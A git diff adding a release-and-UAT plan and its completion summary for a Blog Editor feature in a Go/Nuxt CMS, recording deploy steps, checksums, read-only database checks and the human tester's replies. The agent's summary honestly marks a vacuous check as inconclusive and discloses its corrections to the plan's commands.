+Release per DEPLOY.md "Release": on the server first cp -a build/nuxt/.output build/nuxt/.output.prev; rsync the binary to bin/grzybyfunkcjonalne.new and config/, scripts/ and build/nuxt/.output/ as listed in "Build and upload" (never a local .env); compare the sha256 of bin/grzybyfunkcjonalne.new with the local one; cp -p bin/grzybyfunkcjonalne bin/grzybyfunkcjonalne.prev and mv bin/grzybyfunkcjonalne.new bin/grzybyfunkcjonalne; bin/grzybyfunkcjonalne migrate (no new migration in this phase; must exit 0); record RESTART_TS as the server's date +'%Y/%m/%d %H:%M:%S'; sudo supervisorctl restart grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt. Smoke with the DEPLOY.md recipe (first verify). On any failure: move bin/grzybyfunkcjonalne.prev and build/nuxt/.output.prev back, restart both programs and report.
+
+Snapshot for Task 3 (read-only): pick HTML_POST as the lowest published post id whose ltrim(content) starts with the less-than character; then run exactly the two SELECTs of Task 3's first two verify commands (same column concatenation, same ORDER BY) and keep their outputs in the session as SNAPSHOT_POSTS and SNAPSHOT_TRANSLATIONS, and in the SUMMARY. Record post 64's current state as POST64_STATE with one more read-only SELECT printing (content LIKE '%<style%')::int || ':' || (content_html LIKE '%<style%')::int for id 64. 16.1 left content_html without the style block (expected x:0); record whatever it prints, and report a 1 in the second position in the SUMMARY instead of treating it as a failure. The untouched re-save in Task 3 must not change either column, whatever their state.</action>
+  <verify>
+    <automated>ssh grzybyfunkcjonalne-uat 'C=$(mktemp -d); printf "resolve = uat.grzybyfunkcjonalne.pl:443:127.0.0.1\n" &gt; "$C/.curlrc"; cd /srv/grzybyfunkcjonalne/go &amp;&amp; CURL_HOME="$C" scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl; rc=$?; rm -rf "$C"; exit $rc' | grep '^smoke: ok ('</automated>
+    <fails_when>Non-zero exit: smoke.sh failed on the server, the output contains "smoke: FAIL", or no line starts with "smoke: ok (".</fails_when>
+    <automated>test "$(sha256sum ../sm-grzybyfunkcjonalne-app/bin/grzybyfunkcjonalne | cut -d' ' -f1)" = "$(ssh grzybyfunkcjonalne-uat 'sha256sum /srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne' | cut -d' ' -f1)" &amp;&amp; ssh grzybyfunkcjonalne-uat 'sudo supervisorctl status grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt' | grep -c RUNNING | grep -qx 2 &amp;&amp; test -n "$(git ls-remote --tags origin "refs/tags/$RELEASE_TAG")" &amp;&amp; ssh grzybyfunkcjonalne-uat 'test -x /srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne.prev &amp;&amp; test -d /srv/grzybyfunkcjonalne/go/build/nuxt/.output.prev' &amp;&amp; echo deploy-ok</automated>
+    <fails_when>Non-zero exit or "deploy-ok" absent: the server binary differs from the local build, fewer than two programs are RUNNING, the tag is missing on origin, or a rollback copy is missing on the server.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `git ls-remote --tags origin` lists the release tag (or the SUMMARY names the reused tag).
+    - `git -C ../sm-journal-plugin rev-parse main` equals `git -C ../sm-journal-plugin rev-parse origin/main`, and ../sm-journal-plugin/go.mod requires summercms at the release tag.
+    - `git -C ../sm-grzybyfunkcjonalne-app ls-files -s plugins/golem15/journal vue-grzybyfunkcjonalne-app` shows the pushed sm-journal-plugin main and vue-grzybyfunkcjonalne-app main commits, and the host master equals origin/master.
+    - `grep -c "frame-src https://www.youtube-nocookie.com" ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh` reports at least 1 for each file, and check-deploy.sh passed before the build; the SUMMARY lists the vhost install as a pending root step.
+    - The on-server smoke prints a line starting with "smoke: ok (" and the second verify prints deploy-ok.
+    - The SUMMARY records the tag, the pushed heads, both sha256 values, RESTART_TS, HTML_POST, POST64_STATE and the md5 snapshot; no credential appears in it.
+  </acceptance_criteria>
+  <done>UAT runs the released Blog Editor and embed rendering from pushed tags and branches, every smoke URL passes, and the pre-save snapshot is recorded.</done>
+</task>
+
+<task type="checkpoint:human-action" gate="blocking-human">
+  <name>Task 3: UAT acceptance: untouched re-saves are byte-identical; a Blog Editor edit stores HTML in both columns with an uploaded image and an embed that renders on the site; unsafe markup is stripped and reported, never refused</name>
+  <precondition>Task 2 printed deploy-ok; RESTART_TS, HTML_POST, SNAPSHOT_POSTS and SNAPSHOT_TRANSLATIONS are set in the session and recorded in the SUMMARY.</precondition>
+  <read_first>.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md (Manual-Only Verifications), ../sm-grzybyfunkcjonalne-app/DEPLOY.md (Smoke, Rollback), this plan's SUMMARY (snapshot)</read_first>
+  <action>Print the steps for the human and stop. The executor never asks for, receives or stores a credential.
+
+Human steps in https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/posts: (1) open post 64 (ekstrakt-z-turkey-tail: markdown content with the raw author footer, served in the editor as its content_html, which 16.1 re-rendered without the style block) and post HTML_POST; on each press "Zapisz" without touching the editor (D-03); no removal notice may appear. (2) Create a post with slug uat-16-2-blog-editor, unpublished: a heading, bold text, a bullet list, a link, a 3x3 table, an image uploaded from the toolbar with alt text containing a colon and a caption, and a YouTube embed from a youtube.com URL; save; no removal notice may appear (D-02, D-05, D-18). (3) Still unpublished, in the source tab of the test post add a harmless style block that colours paragraphs red and an onclick="void 0" attribute on one paragraph, then save (D-10 amended): the save succeeds, a notice under the field names the removed style element and the onclick attribute, and the editor reloads without them. (4) Publish the post for the site check, then reply with what the notice in step 3 said.
+
+After the reply run the verify commands, then tell the human to unpublish or delete the test post. If a check fails, report it and offer the rollback (move bin/grzybyfunkcjonalne.prev and build/nuxt/.output.prev back, restart both programs).</action>
+  <instructions>
+    Claude deployed the release and passed the on-server smoke in Task 2, and recorded a checksum snapshot of post 64 and post HTML_POST.
+    The human logs in to the UAT admin (basic-auth realm plus an admin account), performs steps 1 to 4 and replies.
+  </instructions>
+  <verification>Read-only psql on the server compares the snapshot and checks the test post's stored HTML; an on-server curl checks the public page for the youtube-nocookie iframe; the Go log since RESTART_TS has no panic or SQLSTATE line.</verification>
+  <resume-signal>Type "saved and published" once steps 1 to 4 are done, with the step 3 notice text, or describe what went wrong.</resume-signal>
+  <verify>
+    <automated>ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT id || ':' || md5(content) || ':' || md5(content_html) FROM golem15_journal_posts WHERE id IN (64, $HTML_POST) ORDER BY id\"" | diff - &lt;(printf '%s\n' "$SNAPSHOT_POSTS") &amp;&amp; echo posts-unchanged</automated>
+    <fails_when>Non-zero exit or "posts-unchanged" absent: an untouched save changed content or content_html of post 64 or HTML_POST (SNAPSHOT_POSTS holds the Task 2 rows in the same id:md5:md5 format).</fails_when>
+    <automated>ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT model_id || ':' || locale || ':' || md5(coalesce(attribute_data, '')) FROM golem15_translate_attributes WHERE model_type LIKE 'Golem15_Journal_Models_Post' AND model_id IN ('64', '$HTML_POST') ORDER BY model_id, locale\"" | diff - &lt;(printf '%s\n' "$SNAPSHOT_TRANSLATIONS") &amp;&amp; echo translations-unchanged</automated>
+    <fails_when>Non-zero exit or "translations-unchanged" absent: an untouched save added, removed or changed a translation row of the two posts (for example empty en values).</fails_when>
+    <automated>ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT (content = content_html)::int || ':' || (content LIKE '%data-embed=_youtube_%')::int || ':' || (content LIKE '%&lt;figcaption%')::int || ':' || (content LIKE '%/storage/app/uploads/public/journal/posts/%')::int || ':' || (position('&lt;style' in content) = 0 AND position('onclick' in content) = 0)::int FROM golem15_journal_posts WHERE slug = 'uat-16-2-blog-editor'\"" | grep -qx '1:1:1:1:1' &amp;&amp; echo edit-ok</automated>
+    <fails_when>Non-zero exit or "edit-ok" absent: the test post is missing, content differs from content_html, it lacks the embed placeholder (the policy stripped data-embed), the figcaption or an uploaded image URL under journal/posts, or the step 3 style element or onclick attribute was stored (the strip did not happen).</fails_when>
+    <automated>ssh grzybyfunkcjonalne-uat 'C=$(mktemp -d); printf "resolve = uat.grzybyfunkcjonalne.pl:443:127.0.0.1\n" &gt; "$C/.curlrc"; CURL_HOME="$C" curl -s https://uat.grzybyfunkcjonalne.pl/blog/uat-16-2-blog-editor; rm -rf "$C"' | grep -c 'src="https://www.youtube-nocookie.com/embed/' | grep -qv '^0$' &amp;&amp; ssh grzybyfunkcjonalne-uat 'sudo supervisorctl tail -65536 grzybyfunkcjonalne-go' | awk -v since="$RESTART_TS" 'substr($0,1,19) &gt;= since' | grep -ciE 'panic|SQLSTATE' | grep -qx 0 &amp;&amp; echo site-ok</automated>
+    <fails_when>Non-zero exit or "site-ok" absent: the public page of the test post has no youtube-nocookie iframe (the layer did not expand the placeholder, or the page is not reachable because the post is not published), or the Go log has a panic or SQLSTATE line after RESTART_TS.</fails_when>
+    <human-check>In the admin (D-19): open a category with content, change one word in the Blog Editor and save; no removal notice appears (all 6 UAT category bodies passed the policy in 16.1) and the category page on the site shows the change. Open post HTML_POST, switch to the source tab: it shows the stored HTML exactly as before. Reply "UAT approved" or list the issues.</human-check>
+  </verify>
+  <acceptance_criteria>
+    - posts-unchanged, translations-unchanged, edit-ok and site-ok are printed.
+    - The SUMMARY records the human's replies, the step 3 notice text, the human-check answer (or marks it pending for /msd-verify-work), and that the test post was unpublished or deleted afterwards.
+  </acceptance_criteria>
+  <done>Untouched saves of imported posts are byte-identical on UAT, a Blog Editor edit with an upload and an embed is stored in both columns and renders on the site, and unsafe markup added in the source tab is stripped and reported instead of refused.</done>
+</task>
+
+</tasks>
+
+<threat_model>
+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| executor → git origin (git.golem15.com) | tags and branches pushed here are read by other repositories |
+| executor → UAT server (ssh) | the release runs next to the live Winter site on the same server |
+| human admin → UAT admin | the only path that writes post data in this plan |
+| server .env files → processes | secrets live only on the server |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-16.2-23 | Tampering (false-green release) | release gate | medium | mitigate | Task 1 runs vet in both Go repositories, the named cabana smoke set with a counted PASS check, the journal Go and JS tests, TestDocsTree, the admin vitest suite and three drift gates; the Docker-only suites and open high review findings are listed and the human chooses at a blocking-human checkpoint |
+| T-16.2-24 | Tampering / Repudiation | annotated tag and pushes | high | mitigate | Tag only with clean trees and nothing behind origin, re-checked right before the push; git tag --contains decides whether a concurrent release already includes plan 01; the binary's sha256 must equal the local build; the SUMMARY records every pushed head |
+| T-16.2-25 | Information Disclosure | credentials | high | mitigate | No .env is rsynced; the executor never asks for, prints or stores UAT basic-auth or admin credentials; all admin steps are done by the human |
+| T-16.2-26 | Tampering | UAT database and the Winter site | medium | mitigate | The executor runs only SELECT queries; data changes only through human admin saves; the Winter vhost, php-fpm and PHP database are untouched; binary and Nuxt output rollback copies are kept |
+| T-16.2-35 | Tampering | UAT strip check (Task 3 step 3) | low | mitigate | Only harmless markup is added (a red-paragraph style block and onclick="void 0"), on an unpublished test post; the strip is verified read-only before the post is published for the site check; the layer sanitizes again at render; the test post is unpublished or deleted afterwards |
+| T-16.2-27 | Elevation of Privilege | sudo on the server | low | accept | sudo is limited by the server to nginx -t, nginx reload and supervisorctl; this plan uses supervisorctl restart, status and tail only |
+| T-16.2-SC | Tampering | packages | high | mitigate | No package is installed: build.sh builds from committed lockfiles and go.sum (pnpm install --frozen-lockfile for the app, which pins vue-journal-layer v0.2.0 from plan 04); go mod edit changes only the nominal summercms require |
+</threat_model>
+
+<verification>
+- Task 1 printed release-gate-ok and a human chose a release option.
+- Task 2: "smoke: ok (" and deploy-ok.
+- Task 3: posts-unchanged, translations-unchanged, edit-ok and site-ok.
+</verification>
+
+<success_criteria>
+- Tag, plugin and host bumps pushed; UAT redeployed per DEPLOY.md with rollback copies; on-server smoke passes.
+- D-03 proven on real imported posts; D-02, D-05, D-10 (strip and report), D-17 and D-18 proven with a test post, D-19 with a category edit; no credential handled by the executor; no write SQL.
+</success_criteria>
+
+<output>
+Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md` when done, with the release sheet, the human replies, the tag and pushed heads, both sha256 values, RESTART_TS, HTML_POST, POST64_STATE, the snapshot and every check result.
+</output>

.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md

@@ -0,0 +1,316 @@
+---
+phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
+plan: 05
+subsystem: release
+tags: [release, uat, deploy, summercms-tag, journal, blog-editor, embeds, csp, grzybyfunkcjonalne]
+
+requires:
+  - phase: 16.2-01
+    provides: pact.HasFormFieldTypes, meta.notices, the field upload route and admin SPA plugin fields (released as summercms v0.1.18)
+  - phase: 16.2-02
+    provides: the Blog Editor formwidget and its editor corpus in sm-journal-plugin
+  - phase: 16.2-03
+    provides: Journal post and category content on the Blog Editor, the editor-output policy extension and the strip-and-report save
+  - phase: 16.2-04
+    provides: vue-journal-layer v0.2.0 (embed expansion) pinned by vue-grzybyfunkcjonalne-app main 465286a
+provides:
+  - "summercms annotated tag v0.1.18 (tag object 04dc5bd, commit f1d8a75) on origin"
+  - "sm-journal-plugin main 9d5bfc4 on origin, go.mod requiring summercms v0.1.18"
+  - "sm-grzybyfunkcjonalne-app master 6f4f222 on origin: journal gitlink 9d5bfc4, vue-grzybyfunkcjonalne-app gitlink 465286a, README Blog Editor note, report-only CSP frame-src https://www.youtube-nocookie.com"
+  - "UAT (uat.grzybyfunkcjonalne.pl) running the Blog Editor release, with rollback copies of the previous binary and Nuxt output"
+affects: [16.2-06, sm-journal-plugin, sm-grzybyfunkcjonalne-app, uat]
+
+actuals:
+  tokens: 9000
+  tasks: 3
+  commits: 0
+plan_head_before: f1d8a757fd5c1174f7f1959779602e2ad11b0de2
+plan_head_after: f1d8a757fd5c1174f7f1959779602e2ad11b0de2
+commits_note: "summercms.go got the tag only (no commit). Code commits live in the sibling repositories below."
+plugin_commits_repo: ../sm-journal-plugin
+plugin_head_before: c60abc6
+plugin_head_after: 9d5bfc4a3597be8ba4abee26d80dc2b81d343da8
+plugin_commits: 1
+host_commits_repo: ../sm-grzybyfunkcjonalne-app
+host_head_before: 0b93ac2
+host_head_after: 6f4f22296b6295e2750e3d376bd0300c8031ba51
+host_commits: 1
+
+tech-stack:
+  added: []
+  patterns:
+    - "Restart-anchored log check: the Go log is filtered from the River client_id line the restart logged, read straight from /var/log/supervisor, instead of `supervisorctl tail` (which fails on UAT)"
+
+key-files:
+  created: []
+  modified:
+    - ../sm-journal-plugin/go.mod
+    - ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app
+    - ../sm-grzybyfunkcjonalne-app/README.md
+    - ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf
+    - ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh
+    - ../sm-grzybyfunkcjonalne-app/DEPLOY.md
+
+key-decisions:
+  - "Human chose release-now at the Task 1 gate with the reply \"release v0.1.18\"; summercms v0.1.18 is published and a later defect gets v0.1.19"
+  - "On UAT the Nuxt rollback copy lives at /srv/grzybyfunkcjonalne/nuxt/.output.prev, not go/build/nuxt/.output.prev as the plan assumed"
+  - "The site-ok log check reads /var/log/supervisor/grzybyfunkcjonalne-go.log from the restart's River client_id anchor; `sudo supervisorctl tail` fails on UAT (ExpatError) and would pass vacuously"
+
+patterns-established:
+  - "A UAT release check that reads a log must prove it read lines (anchor present) before counting zero errors"
+
+requirements-completed: [D-02, D-05, D-10, D-17, D-18]
+
+coverage:
+  - id: R1
+    description: "Release: tag v0.1.18, plugin and host bumps pushed; UAT binary sha256 equals the local build; both programs RUNNING; rollback copies kept; on-server smoke passes"
+    requirement: "D-07"
+    verification:
+      - kind: integration
+        ref: "Task 2 verify: smoke: ok (98 urls); deploy-ok (with the corrected Nuxt rollback path)"
+        status: pass
+    human_judgment: false
+  - id: R2
+    description: "D-03: an untouched admin save of post 64 (markdown with the raw author footer) leaves md5(content), md5(content_html) and its en translation row unchanged"
+    requirement: "D-03"
+    verification:
+      - kind: integration
+        ref: "Task 3 verify: posts-unchanged and translations-unchanged; post 64 updated_at moved to 2026-10-10 11:26:13+00, so the save reached the database"
+        status: pass
+    human_judgment: false
+  - id: R3
+    description: "D-03: an untouched admin save of HTML_POST (post 1) leaves its bytes unchanged"
+    requirement: "D-03"
+    verification:
+      - kind: integration
+        ref: "posts-unchanged passed for post 1, but post 1 updated_at is still 2026-10-09 17:33:51+00 and no post other than 64 and 105 was written after RESTART_TS, so no save of post 1 reached the database and the pass is vacuous"
+        status: inconclusive
+    human_judgment: true
+    rationale: "A human must save post 1 untouched again; then re-run the posts-unchanged SELECT and confirm post 1's updated_at moved"
+  - id: R4
+    description: "D-02, D-05, D-18: the Blog Editor test post stores content = content_html with a YouTube placeholder, a figcaption and an uploaded image URL under journal/posts"
+    requirement: "D-18"
+    verification:
+      - kind: integration
+        ref: "Task 3 verify: edit-ok (1:1:1:1:1)"
+        status: pass
+    human_judgment: false
+  - id: R5
+    description: "D-10 amended: a style element and an onclick attribute added in the source tab are stripped on save and reported"
+    requirement: "D-10"
+    verification:
+      - kind: integration
+        ref: "edit-ok fifth column 1 (no <style, no onclick stored)"
+        status: pass
+      - kind: manual
+        ref: "Human reply \"Did tests, all points passed, bravo.\" covers the step 3 notice; the notice text was not quoted"
+        status: pass
+    human_judgment: true
+  - id: R6
+    description: "D-17: the published test post's public page contains a youtube-nocookie iframe; the Go log since the restart has no panic or SQLSTATE line"
+    requirement: "D-17"
+    verification:
+      - kind: integration
+        ref: "Task 3 verify: site-ok (1 iframe; 14 log lines after the anchor, 0 panic|SQLSTATE)"
+        status: pass
+    human_judgment: false
+  - id: R7
+    description: "D-19: a one-word category edit saves without a removal notice and shows on the site"
+    requirement: "D-19"
+    verification: []
+    human_judgment: true
+    rationale: "Not among the four steps the human ran; no journal category row was updated after RESTART_TS, so no read-only check covers it"
+
+duration: "about 25 min of executor time across three runs, plus the human UAT session (11:26 to 11:30Z)"
+completed: 2026-10-10
+status: complete
+---
+
+# Phase 16.2 Plan 05: Release and UAT Acceptance of the Blog Editor Summary
+
+**summercms v0.1.18, sm-journal-plugin 9d5bfc4 and host 6f4f222 are released to UAT. The build there matches the local sha256, and the on-server smoke passes on 98 URLs. On real data, an untouched save of post 64 is byte-identical. A Blog Editor test post stores identical content and content_html with an uploaded figure and a YouTube embed, the embed renders as a youtube-nocookie iframe on the site, and markup that was not allowed was stripped on save. The untouched save of HTML post 1 has no database evidence yet, and the D-19 category check is still open.**
+
+## Performance
+
+- **Duration:** about 25 min of executor time across three runs, plus the human session.
+- **Started:** about 2026-10-10T11:10Z, after plan 04 closed.
+- **Completed:** 2026-10-10T11:36Z
+- **Tasks:** 3/3 (Task 1 blocking-human decision, Task 2 tracer, Task 3 blocking-human human-action)
+- **Files modified:** 7 across sm-journal-plugin and sm-grzybyfunkcjonalne-app. summercms.go got only the tag.
+
+## Release Sheet (Task 1)
+
+- **Gate:** the Task 1 verify printed `release-gate-ok`. It covered vet in both Go repositories, the six-test cabana smoke set, the journal classes and controllers tests, TestDocsTree, the admin vitest suite, the admin dist and OpenAPI drift gates, the journal vitest suite and the journal dist gate. All three repositories were clean and not behind origin.
+- **Tag:** `v0.1.18`. v0.1.17 was the latest tag, and v0.1.18 did not exist on origin.
+- **Commits pushed per repository:**
+  - summercms.go master `c21fe36..f1d8a75` (19 commits, including planning docs).
+  - sm-journal-plugin main `c60abc6..9d5bfc4` (9 commits: plans 02 and 03, plus the go.mod bump).
+  - Host master `0b93ac2..6f4f222`.
+- **UAT D-07 split (read-only SELECT):** 102 posts whose content starts with `<` and are served as content, and 3 markdown posts served as content_html. Re-read after Task 3, so the count includes test post 105. Before the test post it was 101:3.
+- **Suites not run here (Docker host needed):**
+  - The modules/cabana testcontainers suites.
+  - The sm-journal-plugin root harness: TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML and TestCategoriesAdminContent.
+  - ./models.
+  - These are WINDOWS.md entries 14 to 16, which go to plan 06.
+- **Review findings:** neither 16.2-REVIEW.md nor 16.2-SECURITY.md exists, so there are no open high findings.
+- **Human reply, verbatim:** "release v0.1.18" (release-now).
+
+## Task Commits
+
+| Task | Name | Repo | Commit |
+|---|---|---|---|
+| 1 | Release gate | (none) | release-gate-ok, no commit |
+| 2 | Tag summercms | summercms.go | annotated tag `v0.1.18` (object `04dc5bdabecd95a58b5b7d3a02ed465a45fbc99a`, commit `f1d8a757fd5c1174f7f1959779602e2ad11b0de2`) |
+| 2 | Require summercms v0.1.18 | sm-journal-plugin | `9d5bfc4` chore(deps): require summercms v0.1.18 |
+| 2 | Bump gitlinks, README note, CSP frame-src | sm-grzybyfunkcjonalne-app | `6f4f222` chore: bump journal plugin (Blog Editor) and the site app (embeds) |
+| 3 | UAT acceptance (read-only checks) | (none) | no commit |
+
+**Pushed heads:**
+- summercms.go master `f1d8a75`, plus tag `v0.1.18`.
+- sm-journal-plugin main `9d5bfc4a3597be8ba4abee26d80dc2b81d343da8`.
+- sm-grzybyfunkcjonalne-app master `6f4f22296b6295e2750e3d376bd0300c8031ba51`, with journal gitlink `9d5bfc4a…` and vue-grzybyfunkcjonalne-app gitlink `465286a880f0aae6118c2915aa1475a5da353295` (was `ada03b2`; it pins vue-journal-layer v0.2.0).
+
+## Deploy (Task 2)
+
+- **Build sha256:** local `01c0b64a53a3b95f6481be21408cfa7450828414516e6868c3801e937680edc4`. The remote copy matched, first as `bin/grzybyfunkcjonalne.new` and again after the move.
+- **Previous binary:** `bin/grzybyfunkcjonalne.prev`, sha256 `e5b0ad28ca0384993470ac5a3177d502b7bd0b67c553488f86b43ae3363af232`.
+- **Nuxt rollback copy:** `/srv/grzybyfunkcjonalne/nuxt/.output.prev`.
+- **Migrations:** `migrate` printed `✓ migrations applied`, rc 0.
+- **RESTART_TS:** `2026/10/10 11:17:46` (server time, UTC). Log anchor: `client_id=alexandria_2026_10_10T11_17_46_316300`.
+- **Smoke:** `smoke: ok (98 urls)`, then `deploy-ok`.
+
+**Snapshot taken before the human saves (read-only):**
+- `HTML_POST=1` (10-faktow-na-temat-cordycepsu).
+- `SNAPSHOT_POSTS`:
+  ```
+  1:a026264105f900175b9770e637e5ec5c:a026264105f900175b9770e637e5ec5c
+  64:0e4be845390b1656871513957d471a7c:e785e14e80f6400534e16b4769749d3c
+  ```
+- `SNAPSHOT_TRANSLATIONS`: `64:en:862fc5b362cc9856e6736a2078dca3ba`. Post 1 has no translation rows.
+- `POST64_STATE=1:1`. The plan expected `x:0`. Post 64's content and content_html both still contain a `<style` element: one `.author-footer` CSS block, at offset 4584 in content and 5035 in content_html. The style block was not removed from content_html on UAT as the plan assumed. This is reported, not a failure. The untouched re-save kept it byte-for-byte, and a re-read after Task 3 still prints `1:1`.
+
+## UAT Acceptance (Task 3)
+
+**Human reply, verbatim:** "Did tests, all points passed, bravo."
+
+The human confirmed that all four steps passed, including the step 3 strip notice, but did not quote the notice text.
+
+**Read-only checks, run after the reply:**
+
+| Check | Result | Detail |
+|---|---|---|
+| posts-unchanged | pass | The md5 rows of posts 1 and 64 match the snapshot exactly |
+| translations-unchanged | pass | `64:en:862fc5b3…` matches; there are still no rows for post 1 |
+| edit-ok | pass | Test post `uat-16-2-blog-editor` (id 105) prints `1:1:1:1:1`: content = content_html, a `data-embed="youtube"` placeholder, a figcaption, an image under `/storage/app/uploads/public/journal/posts/`, and neither `<style` nor `onclick` |
+| site-ok | pass | The public page `/blog/uat-16-2-blog-editor`, fetched on the server, has 1 `src="https://www.youtube-nocookie.com/embed/` iframe. The Go log has 14 lines after the restart anchor, with 0 panic and 0 SQLSTATE |
+
+**Which rows the saves wrote:** only post 64 (11:26:13Z) and post 105 (11:29:56Z) have `updated_at` after RESTART_TS. Post 105 is published. Post 1 still has `updated_at` 2026-10-09 17:33:51Z. The admin save runs GORM `Save`, which always sets `updated_at`, so no save of post 1 reached the database. Either it was not saved, or a different post was opened. The posts-unchanged pass for post 1 is therefore vacuous, and D-03 is proven on post 64 only (see Open Items).
+
+## Files Created/Modified
+
+- `../sm-journal-plugin/go.mod`: nominal require of summercms v0.1.18. The go.work replace stays.
+- `../sm-grzybyfunkcjonalne-app/plugins/golem15/journal` and `vue-grzybyfunkcjonalne-app`: gitlink bumps.
+- `../sm-grzybyfunkcjonalne-app/README.md`: an Admin note on the Blog Editor, lossless untouched saves, and stripped markup being reported.
+- `../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf`, `scripts/check-deploy.sh` and `DEPLOY.md`: `frame-src https://www.youtube-nocookie.com` in the report-only CSP, its check needle and its docs line.
+
+## Decisions Made
+
+- Release now with v0.1.18 (human, Task 1).
+- The real Nuxt rollback path is `nuxt/.output.prev`.
+- The site-ok log check reads the supervisor log file from the restart anchor.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 1 - Bug] The plan's Nuxt rollback path was wrong**
+- **Found during:** Task 2
+- **Issue:** The plan copies, checks and restores `go/build/nuxt/.output(.prev)`. On UAT the Nuxt server runs from `/srv/grzybyfunkcjonalne/nuxt/.output`.
+- **Fix:** The rollback copy was made at `/srv/grzybyfunkcjonalne/nuxt/.output.prev`, and the deploy-ok check tested that path.
+- **Files modified:** none (server layout only)
+- **Commit:** none
+
+**2. [Rule 1 - Bug] The site-ok log check passed vacuously**
+- **Found during:** Task 2 (log check), applied in Task 3
+- **Issue:** `sudo supervisorctl tail -65536 grzybyfunkcjonalne-go` fails on UAT with an ExpatError. The pipeline then counted 0 matching lines, so the check would pass whatever the log contained.
+- **Fix:** Read `/var/log/supervisor/grzybyfunkcjonalne-go.log` directly. The command first requires the restart's River anchor (`client_id=alexandria_2026_10_10T11_17_46_316300`) to be present, then counts panic|SQLSTATE only in the lines after it:
+  `ssh grzybyfunkcjonalne-uat 'F=/var/log/supervisor/grzybyfunkcjonalne-go.log; A=client_id=alexandria_2026_10_10T11_17_46_316300; grep -q "$A" "$F" && awk -v a="$A" "found{print} index(\$0,a){found=1}" "$F" | grep -ciE "panic|SQLSTATE"' | grep -qx 0`
+  The anchor was still in the file (14 lines after it), so the timestamp fallback was not needed. The file holds 6 older SQLSTATE lines, all from before the restart.
+- **Files modified:** none
+- **Commit:** none
+
+---
+
+**Total deviations:** 2, both Rule 1 bugs in the plan's server commands. No shipped code changed.
+**Impact on plan:** Both fixes make the checks stricter. They do not loosen them.
+
+## Open Items (pending human)
+
+1. **D-03 on an HTML post is unproven.** Save post 1 (`10-faktow-na-temat-cordycepsu`) in `/gfadmin/golem15/journal/posts` without touching the editor. Then re-run the posts-unchanged SELECT and confirm that post 1's `updated_at` moved past 2026-10-10 11:17:46Z.
+2. **D-19 category check:** in a category with content, change one word in the Blog Editor and save. No removal notice should appear, and the category page on the site should show the change. Also open post 1's source tab and confirm the stored HTML is unchanged. Not human-verified yet; pending for /msd-verify-work.
+3. **Vhost install (root):** install `/srv/grzybyfunkcjonalne/deploy/grzybyfunkcjonalne-staging.conf` (frame-src https://www.youtube-nocookie.com), then `sudo nginx -t && sudo systemctl reload nginx`. This blocks nothing, because the CSP is report-only.
+4. **Test post `uat-16-2-blog-editor` (id 105) is still published.** Unpublish or delete it when it is no longer needed. The human may keep it for now.
+5. **Docker-host suites:** these go to plan 06 (WINDOWS.md entries 14 to 16).
+
+**Rollback, if any open item fails** (on the server, in `/srv/grzybyfunkcjonalne`):
+- Move `go/bin/grzybyfunkcjonalne.prev` back to `go/bin/grzybyfunkcjonalne`.
+- Move `nuxt/.output.prev` back to `nuxt/.output`.
+- Run `sudo supervisorctl restart grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt`.
+
+## Auth Gates
+
+None. The executor never asked for, printed or stored a credential. All admin actions were done by the human. On UAT the executor ran only SELECT queries and on-server curl, apart from the Task 2 deploy steps the human approved at the Task 1 gate.
+
+## User Setup Required
+
+See Open Items 1 to 4.
+
+## Next Phase Readiness
+
+- Plan 06 (unit tests) can run. Its tests ship with the next summercms tag, v0.1.19.
+- /msd-verify-work should pick up Open Items 1 and 2.
+
+---
+*Phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget*
+*Completed: 2026-10-10*
+
+## Self-Check: PASSED
+
+- FOUND on origin: tag `v0.1.18` (object `04dc5bd`).
+- FOUND: sm-journal-plugin `9d5bfc4`, equal to origin/main. go.mod requires summercms v0.1.18, and the replace stays.
+- FOUND: host `6f4f222`, equal to origin/master. The gitlinks are journal `9d5bfc4` and vue-grzybyfunkcjonalne-app `465286a`.
+- FOUND: the `frame-src https://www.youtube-nocookie.com` needle in both the staging vhost and check-deploy.sh (1 each).
+- Task 3 checks: posts-unchanged, translations-unchanged, edit-ok and site-ok were all printed in this run.
+
+## Post 1 untouched re-save (closes WINDOWS entry 17)
+
+After the human re-saved post 1 (`10-faktow-na-temat-cordycepsu`) untouched, the orchestrator ran a read-only SELECT on UAT:
+
+- Post 1: `updated_at` is 2026-10-10 12:02:40.245712+00, after RESTART_TS, so the save reached the database. The md5 of `content` and of `content_html` are both still `a026264105f900175b9770e637e5ec5c`, equal to the snapshot.
+- Post 64 is unchanged: `0e4be845390b1656871513957d471a7c:e785e14e80f6400534e16b4769749d3c`.
+
